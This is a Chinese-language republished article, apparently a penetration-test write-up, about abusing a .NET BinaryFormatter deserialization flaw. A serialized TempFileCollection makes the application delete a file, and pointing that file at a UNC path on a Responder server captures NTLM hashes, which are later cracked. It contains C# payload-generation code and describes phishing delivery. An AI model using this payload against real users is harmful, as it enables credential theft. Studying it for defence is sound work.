千家信息网

怎样利用.NET反序列化漏洞获取NTLM Hashes

发表于:2024-12-04 作者:千家信息网编辑
千家信息网最后更新 2024年12月04日,这期内容当中小编将会给大家带来有关怎样利用.NET反序列化漏洞获取NTLM Hashes,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。在最近的一次渗透测试中,我们遇
千家信息网最后更新 2024年12月04日怎样利用.NET反序列化漏洞获取NTLM Hashes

这期内容当中小编将会给大家带来有关怎样利用.NET反序列化漏洞获取NTLM Hashes,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。

在最近的一次渗透测试中,我们遇到了一个用来获取管理员凭据的有趣技术(当然,NTLM散列已被破解)。这次攻击并没有什么特别新的东西,它需要特殊的条件才能实现,但我们认为这足让我们把它分享出来。在mediaservice.net博客上Gianluca Baldi最近发布的一篇博客文章中,也描述了非常类似的技术。我们发现我们能够做一些非常相似的事情,但针对利用的不是XXE而是.net反序列化漏洞。

当用户加载恶意文件时会触发此特定漏洞,因此需要用户交互,但在网络中可访问的应用程序中可能存在类似的漏洞。 这完全取决于数据的反序列化位置。

反序列化基础

反序列化是任何执行大量应用程序或Web应用程序安全测试的人都应该熟悉的东西。通常在Java环境中讨论,反序列化漏洞是许多应用程序(包括.NET应用程序)中都有可能会出现的漏洞。

对于那些不太熟悉的人来说,序列化就是将一个对象转换成一个字节流的过程,这样就可以轻松保存在磁盘文件或数据库中。反序列化是序列化的逆过程;通常这可以用于两个应用程序(可能位于不同主机上)间通信的RPC。当应用程序的状态需要保存时(这也很常见),序列化的数据会被写入磁盘并在之后进行恢复。

我们可以通过下面的例子看到这一点。

using System;using System.IO;using System.Runtime.Serialization.Formatters.Binary;namespace serialisationTest1{    [Serializable]    class MyClass    {        private int x = 1;        private int y = 2;        public string s = "Hello World";        public MyClass() { Console.WriteLine("In Constructor"); }        public void Method() { Console.WriteLine("Method()"); }        public void Dispose()        {            Console.WriteLine("Disposing Object");        }    }    class Program    {        static void Main(string[] args)        {            BinaryFormatter binaryFormatter = new BinaryFormatter();            MyClass myClass = new MyClass();            using (FileStream fileStream = File.OpenWrite("save"))            {                binaryFormatter.Serialize(fileStream, myClass);            }        }    }}

这将创建一个文件并保存,我们可以在文本编辑器中查看。

当应用程序对不可信数据进行反序列化时,有时可能会被攻击者所利用。如果我们看一下上面的反序列化的对象,很明显,虽然我们不能直接向应用程序注入代码,但是如果反序列化的对象在它的构造函数中或在它的dispose方法中,我们或许能够对其进行利用(即恶意的)- 当.NET对象被销毁时,垃圾回收器调用的方法。这是因为当进行反序列化尝试时,实际上该对象确实被创建并销毁,即使该对象由于类型错误而无法使用。

漏洞

在测试中,我们发现桌面安装了.NET应用程序。尽管我们并不了解应用程序的性质,但我们可以肯定的是它具有"保存"功能。为了保存,应用程序用一个特定的对象并将其序列化到磁盘。之后它可以通过相反的方式加载这个保存的对象并反序列化它。

漏洞代码类似于下面:

using System;using System.IO;using System.Runtime.Serialization.Formatters.Binary;namespace serialisationTest1{    class Program    {        static void Main(string[] args)        {            string saveFile = "save";            MyClass myClass = null;            BinaryFormatter binaryFormatter = new BinaryFormatter();            FileStream fileStream = File.OpenRead(saveFile);            try {                Object o = binaryFormatter.Deserialize(fileStream);                myClass = (MyClass)o;                myClass.Method();            }            catch (Exception) { }        }    }}

如前所述,在这种特殊情况下,我们需要找到一个对象,它在创建或销毁时会发挥一些有用的作用。

System.CodeDom.Compiler.TempFileCollection是.NET中的一个对象,用于删除使用AddFile方法添加的文件。这已通过在特定位置(d:\file1)中创建文件,并将序列化的TempFileCollection用作应用程序"保存"文件得到证实。反序列化的对象是使用以下代码片段创建的:

static void Main(string[] args){    BinaryFormatter binaryFormatter = new BinaryFormatter();    TempFileCollection tempFileCollection = new TempFileCollection();    tempFileCollection.AddFile("d:\\test",false);    using (FileStream fileStream = File.OpenWrite("save"))    {    binaryFormatter.Serialize(fileStream, tempFileCollection);    }}

当我们加载保存文件时,应用程序反序列化确实删除了测试文件。这是一个很好的PoC,那么我们能再进一步吗?

获取凭据

此时,我们有一个应用程序存在一个反序列化漏洞,当打开一个保存文件时会触发一个反序列化漏洞,并且一个可以反序列化的对象会删除我们可以指定的文件。

如果从UNC路径 (i.e. \\host\file)中读取文件,Windows将尝试使用服务器进行身份验证。如果我们将已删除的文件更改为运行Responder的服务器上的UNC路径,我们将能够捕获NTLM握手并尝试破解密码。

下面的.net代码生成我们的payload:

static public void MakeObject(){    BinaryFormatter binaryFormatter = new BinaryFormatter();    TempFileCollection tempFileCollection = new TempFileCollection();    tempFileCollection.AddFile("\\\\\\test", false);    using (FileStream fileStream = File.OpenWrite("save"))    {    binaryFormatter.Serialize(fileStream, tempFileCollection);    }}

然后,我们运行Responder,将文件发送给用户(通过网络钓鱼攻击)并等待。不一会儿我们就获取到了哈希,我们可以用于破解。

基于我们强大的字典,以及目标用户脆弱的密码策略,没花多久时间我们便成功破解出了密码。

上述就是小编为大家分享的怎样利用.NET反序列化漏洞获取NTLM Hashes了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注行业资讯频道。

0